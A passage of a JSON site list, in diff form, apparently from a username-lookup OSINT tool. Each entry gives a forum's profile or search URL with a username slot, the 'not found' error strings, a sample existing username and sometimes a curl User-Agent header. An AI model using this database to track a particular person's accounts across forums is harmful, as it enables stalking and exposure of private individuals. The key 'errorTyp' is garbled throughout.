"Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.sabnzbd.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sabnzbd.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_saddoboxing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registere", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.saddoboxing.com/boxingforum/member.php?username={}", + "urlMain": "https://www.saddoboxing.com", + "usernameON": "Beanz", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_safakulevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://safakulevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://safakulevo.ucoz.ru", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_sailboards": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sailboardsforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://sailboardsforum.com", + "usernameON": "Arf", + "bad_site": "" + }, + "Forum_sailingforums": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sailingforums.com/members/?username={}", + "urlMain": "https://sailingforums.com", + "usernameON": "sweetime", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sailnet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sailnet.com/members/?username={}", + "urlMain": "https://www.sailnet.com", + "usernameON": "colemj", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_saintsrowmods": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.saintsrowmods.com/forum/members/?username={}", + "urlMain": "https://www.saintsrowmods.com", + "usernameON": "elchuy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_salekhardnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://salekhardnews.ucoz.ru/index/8-0-{}", + "urlMain": "https://salekhardnews.ucoz.ru", + "usernameON": "ACID", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_salfetka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salfetka.at.ua/index/8-0-{}", + "urlMain": "https://salfetka.at.ua", + "usernameON": "Yarinka", + "bad_site": "" + }, + "Forum_salo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salo.ucoz.ru/index/8-0-{}", + "urlMain": "https://salo.ucoz.ru", + "usernameON": "Vitalinestik", + "bad_site": "" + }, + "Forum_salon-gala": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salon-gala.moy.su/index/8-0-{}", + "urlMain": "https://salon-gala.moy.su", + "usernameON": "hairs", + "bad_site": "" + }, + "Forum_salsa": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.salsaforums.com/members/?username={}", + "urlMain": "https://www.salsaforums.com", + "usernameON": "so1001", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_samara-clad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://samara-clad.ru/index/8-0-{}", + "urlMain": "http://samara-clad.ru", + "usernameON": "Dersu", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_samara-gaming": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samara-gaming.clan.su/index/8-0-{}", + "urlMain": "https://samara-gaming.clan.su", + "usernameON": "deirdremo3", + "bad_site": "" + }, + "Forum_samarahunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://samarahunter.ru/forums/member.php?username={}", + "urlMain": "http://samarahunter.ru", + "usernameON": "Lonsdale", + "bad_site": "" + }, + "Forum_samatow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samatow.my1.ru/index/8-0-{}", + "urlMain": "https://samatow.my1.ru/", + "usernameON": "plats", + "bad_site": "" + }, + "Forum_samimiyat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samimiyat.ucoz.net/index/8-0-{}", + "urlMain": "https://samimiyat.ucoz.net", + "usernameON": "MaRJoNa", + "bad_site": "" + }, + "Forum_samovar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.samovar-forum.ru/index/8-0-{}", + "urlMain": "https://www.samovar-forum.ru", + "usernameON": "MrKoteika", + "bad_site": "" + }, + "Forum_samp-rp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://samp-rp.online/members/?username={}", + "urlMain": "https://samp-rp.online", + "usernameON": "allen_tyanytov", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_samp-sektor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.samp-sektor-2.ru/index/8-0-{}", + "urlMain": "http://www.samp-sektor-2.ru", + "usernameON": "wellnemo7", + "bad_site": "" + }, + "Forum_samp-top": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://samp-top.at.ua/index/8-0-{}", + "urlMain": "https://samp-top.at.ua", + "usernameON": "Diablo", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_samru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация отсутствует", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.samru.ru/new/forum/userinfo/user_{}.html", + "urlMain": "https://www.samru.ru", + "usernameON": "Ken", + "bad_site": "" + }, + "Forum_sanatorii": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Санатории Беларуси Белоруссии • Информация", + "errorMsg3": "SQL ERROR", + "errorTyp��": "message", + "url": "http://forum.sanatorii.by/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.sanatorii.by", + "usernameON": "pavlovich", + "bad_site": "" + }, + "Forum_sannata": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.phantom.sannata.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.phantom.sannata.org", + "usernameON": "RafGul", + "bad_site": "" + }, + "Forum_santacruz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.santacruzforums.com/members/?username={}", + "urlMain": "https://www.santacruzforums.com", + "usernameON": "cargonaut", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_santechniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "action=\"./ucp.php?mode=login\">", + "errorTyp��": "message", + "url": "https://santechniki.com/memberlist.php?username={}", + "urlMain": "https://santechniki.com", + "usernameON": "Murza74", + "bad_site": "" + }, + "Forum_santehnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://сантехсвар.рф/search.php?keywords=&terms=all&author={}", + "urlMain": "http://сантехсвар.рф", + "usernameON": "SVAR", + "bad_site": "" + }, + "Forum_sape": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.sape.ru/member.php?username={}", + "urlMain": "http://forum.sape.ru", + "usernameON": "Nike99", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_saranskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "pr('','','',''", + "errorMsg2": "профиль
    ", + "errorTyp��": "message", + "url": "https://saranskchess.forum24.ru/?32-{}", + "urlMain": "https://saranskchess.forum24.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_Sat-prof": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sat-prof.com.ua/member.php?username={}", + "urlMain": "https://sat-prof.com.ua", + "usernameON": "kreshnot", + "bad_site": "" + }, + "Forum_satisfacktion": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://satisfacktion.ucoz.ru/index/8-0-{}", + "urlMain": "https://satisfacktion.ucoz.ru", + "usernameON": "satisfacktion", + "bad_site": "" + }, + "Forum_sauna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.saunaforums.com/forums/users/{}/", + "urlMain": "https://www.saunaforums.com", + "usernameON": "rick", + "bad_site": "" + }, + "Forum_saunabauen": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden Ergebnisse gefunden", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.saunabauen.de/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.saunabauen.de", + "usernameON": "klaus", + "bad_site": "" + }, + "Forum_savasleyka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://savasleyka.ru/index/8-0-{}", + "urlMain": "http://savasleyka.ru", + "usernameON": "catalogs123123", + "bad_site": "" + }, + "Forum_say7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://forum.say7.info/search.php?search_author={}", + "urlMain": "https://forum.say7.info", + "usernameON": "Fia-Lka", + "bad_site": "" + }, + "Forum_sayyod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sayyod.com/index/8-0-{}", + "urlMain": "http://sayyod.com/", + "usernameON": "mushkulsavdo", + "bad_site": "" + }, + "Forum_sc2mafia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sc2mafia.com/forum/member.php/?username={}", + "urlMain": "https://www.sc2mafia.com", + "usernameON": "Gikkle", + "bad_site": "" + }, + "Forum_scalemodeladdict": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scalemodeladdict.com/members/?username={}", + "urlMain": "https://www.scalemodeladdict.com", + "usernameON": "spruecutter", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scb.ucoz.ru/index/8-0-{}", + "urlMain": "https://scb.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_school-1130": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school-1130.ucoz.ru/index/8-0-{}", + "urlMain": "https://school-1130.ucoz.ru", + "usernameON": "KPECT", + "bad_site": "" + }, + "Forum_school74": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://school74.ucoz.ru/index/8-0-{}", + "urlMain": "https://school74.ucoz.ru", + "usernameON": "Ruike", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_school87": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school87.clan.su/index/8-0-{}", + "urlMain": "https://school87.clan.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_scienceforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.scienceforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.com", + "usernameON": "rohan232323", + "bad_site": "" + }, + "Forum_scienceforumsnet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "your search. Try broadening your criteria", + "errorTyp��": "message", + "url": "https://www.scienceforums.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_sciforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sciforums.com/members/?username={}", + "urlMain": "https://www.sciforums.com", + "usernameON": "billvon", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scimarche": { + "country": "🇮🇹", + "country_klas": "IT", + "errorTyp��": "status_code", + "url": "https://www.scimarche.it/membri/{}/", + "urlMain": "https://www.scimarche.it", + "usernameON": "jonathan", + "bad_site": "" + }, + "Forum_sciphysicsforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "http://www.sciphysicsforums.com/spfbb1/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.sciphysicsforums.com", + "usernameON": "FrediFizzx", + "bad_site": "" + }, + "Forum_scivarin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scivarin.ucoz.ru/index/8-0-{}", + "urlMain": "https://scivarin.ucoz.ru", + "usernameON": "БОГЕР", + "bad_site": "" + }, + "Forum_scompaginando": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Questo utente non è registrato", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.scompaginando.it/member.php?username={}", + "urlMain": "http://www.scompaginando.it", + "usernameON": "Enribello", + "bad_site": "" + }, + "Forum_scooterista": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scooterista.ru/index/8-0-{}", + "urlMain": "https://scooterista.ru", + "usernameON": "Dreamer", + "bad_site": "" + }, + "Forum_scotchmaltwhisky": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.scotchmaltwhisky.co.uk/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.scotchmaltwhisky.co.uk", + "usernameON": "William", + "bad_site": "" + }, + "Forum_scrambler": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scramblerforum.com/members/?username={}", + "urlMain": "https://www.scramblerforum.com", + "usernameON": "fatrob", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_scrapbookcampus": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://scrapbookcampus.com/invision/search/?q={}&quick=1&type=core_members", + "urlMain": "https://scrapbookcampus.com", + "usernameON": "jacques", + "bad_site": "" + }, + "Forum_scriptmen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scriptmen.ucoz.ru/index/8-0-{}", + "urlMain": "https://scriptmen.ucoz.ru", + "usernameON": "reix24", + "bad_site": "" + }, + "Forum_scripts-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scripts-money.clan.su/index/8-0-{}", + "urlMain": "https://scripts-money.clan.su", + "usernameON": "Diamond00744", + "bad_site": "" + }, + "Forum_scssoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.scssoft.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.scssoft.com", + "usernameON": "B787", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scuba": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.scuba-divers.ru/memberlist.php?username={}", + "urlMain": "http://forum.scuba-divers.ru/", + "usernameON": "bubonic", + "bad_site": "" + }, + "Forum_se-forever": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-forever.ucoz.com/index/8-0-{}", + "urlMain": "https://se-forever.ucoz.com", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_se-style": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-style.3dn.ru/index/8-0-{}", + "urlMain": "https://se-style.3dn.ru/", + "usernameON": "qwerty2244", + "bad_site": "" + }, + "Forum_se-zver": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-zver.ucoz.net/index/8-0-{}", + "urlMain": "https://se-zver.ucoz.net", + "usernameON": "magwrisK", + "bad_site": "" + }, + "Forum_se7ensins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.se7ensins.com/members/?username={}", + "urlMain": "https://www.se7ensins.com", + "usernameON": "mocolos", + "comments": "super", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_seabreeze": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.seabreeze.com.au/Members/Profile/Details.aspx?member={}", + "urlMain": "https://www.seabreeze.com.au", + "usernameON": "surfanimal", + "bad_site": "" + }, + "Forum_searchengines": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "
    ", + "errorMsg2": "class=\"nothing-found__title", + "errorTyp��": "message", + "url": "https://searchengines.guru/ru/search?keyword=&author={}&sortByDate=false", + "urlMain": "https://searchengines.guru", + "usernameON": "LevShliman", + "bad_site": "" + }, + "Forum_sebezh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>
    403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://secure-net.ucoz.ru/index/8-0-{}", + "urlMain": "https://secure-net.ucoz.ru", + "usernameON": "hcurcl", + "bad_site": "" + }, + "Forum_segaxtreme": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://segaxtreme.net/members/?username={}", + "urlMain": "https://segaxtreme.net", + "usernameON": "bluemoon95", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_selfsufficientculture": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.selfsufficientculture.com/members/?username={}", + "urlMain": "https://www.selfsufficientculture.com", + "usernameON": "daveb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sell-akk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sell-akk.at.ua/index/8-0-{}", + "urlMain": "http://sell-akk.at.ua", + "usernameON": "apelsin", + "bad_site": "" + }, + "Forum_semenovka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://semenovka.at.ua/index/8-0-{}", + "urlMain": "http://semenovka.at.ua", + "usernameON": "semenovka", + "bad_site": "" + }, + "Forum_semerkainfo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg3": "Вам закрыт доступ к конференции.", + "errorTyp��": "message", + "url": "http://www.semerkainfo.ru/forum/memberlist.php?username={}", + "urlMain": "http://www.semerkainfo.ru", + "usernameON": "DJTigra", + "bad_site": "" + }, + "Forum_semperficatholic": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://semperficatholic.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://semperficatholic.com", + "usernameON": "MarieT", + "bad_site": "" + }, + "Forum_seniorforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.seniorforums.com/members/?username={}", + "urlMain": "https://www.seniorforums.com", + "usernameON": "pinky", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_sens": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sens.ucoz.ru/index/8-0-{}", + "urlMain": "https://sens.ucoz.ru", + "usernameON": "AlexSpain", + "bad_site": "" + }, + "Forum_serebropol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebropol.ucoz.ru/index/8-0-{}", + "urlMain": "https://serebropol.ucoz.ru", + "usernameON": "kedrdek", + "bad_site": "" + }, + "Forum_serebryansk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebryansk.online/index/8-0-{}", + "urlMain": "https://serebryansk.online", + "usernameON": "Luintil", + "bad_site": "" + }, + "Forum_serega363": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serega363.ucoz.ru/index/8-0-{}", + "urlMain": "https://serega363.ucoz.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_serenesforest": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.serenesforest.net/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.serenesforest.net", + "usernameON": "Jedi", + "bad_site": "" + }, + "Forum_serien": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serienforum.com/search/?&q={}&type=core_members", + "urlMain": "https://www.serienforum.com", + "usernameON": "Redaktion", + "bad_site": "" + }, + "Forum_serioussite": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.serioussite.ru/index/8-0-{}", + "urlMain": "https://www.serioussite.ru", + "usernameON": "tisomard", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_serpentes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serpentes.ru/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://www.serpentes.ru", + "usernameON": "TRexfood", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_server1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://server1.ucoz.net/index/8-0-{}", + "urlMain": "https://server1.ucoz.net", + "usernameON": "Arthurunige", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_servethehome": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.servethehome.com/index.php?members/&username={}", + "urlMain": "https://forums.servethehome.com", + "usernameON": "chlastakov", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_servicestack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.servicestack.net/u/{}/summary", + "urlMain": "https://forums.servicestack.net/", + "usernameON": "lai", + "bad_site": "" + }, + "Forum_serwis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serwis.ucoz.ru/index/8-0-{}", + "urlMain": "https://serwis.ucoz.ru", + "usernameON": "sigushki", + "bad_site": "" + }, + "Forum_setcombg": { + "country": "🇧🇬", + "country_klas": "BG", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "<meta name=\"robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://forum.setcombg.com/members/{}.html", + "urlMain": "https://forum.setcombg.com", + "usernameON": "ganev", + "bad_site": "" + }, + "Forum_setter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://setter.borda.ru/?32-{}", + "urlMain": "https://setter.borda.ru", + "usernameON": "veronika12", + "bad_site": "" + }, + "Forum_sev-kav": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sev-kav.clan.su/index/8-0-{}", + "urlMain": "https://sev-kav.clan.su", + 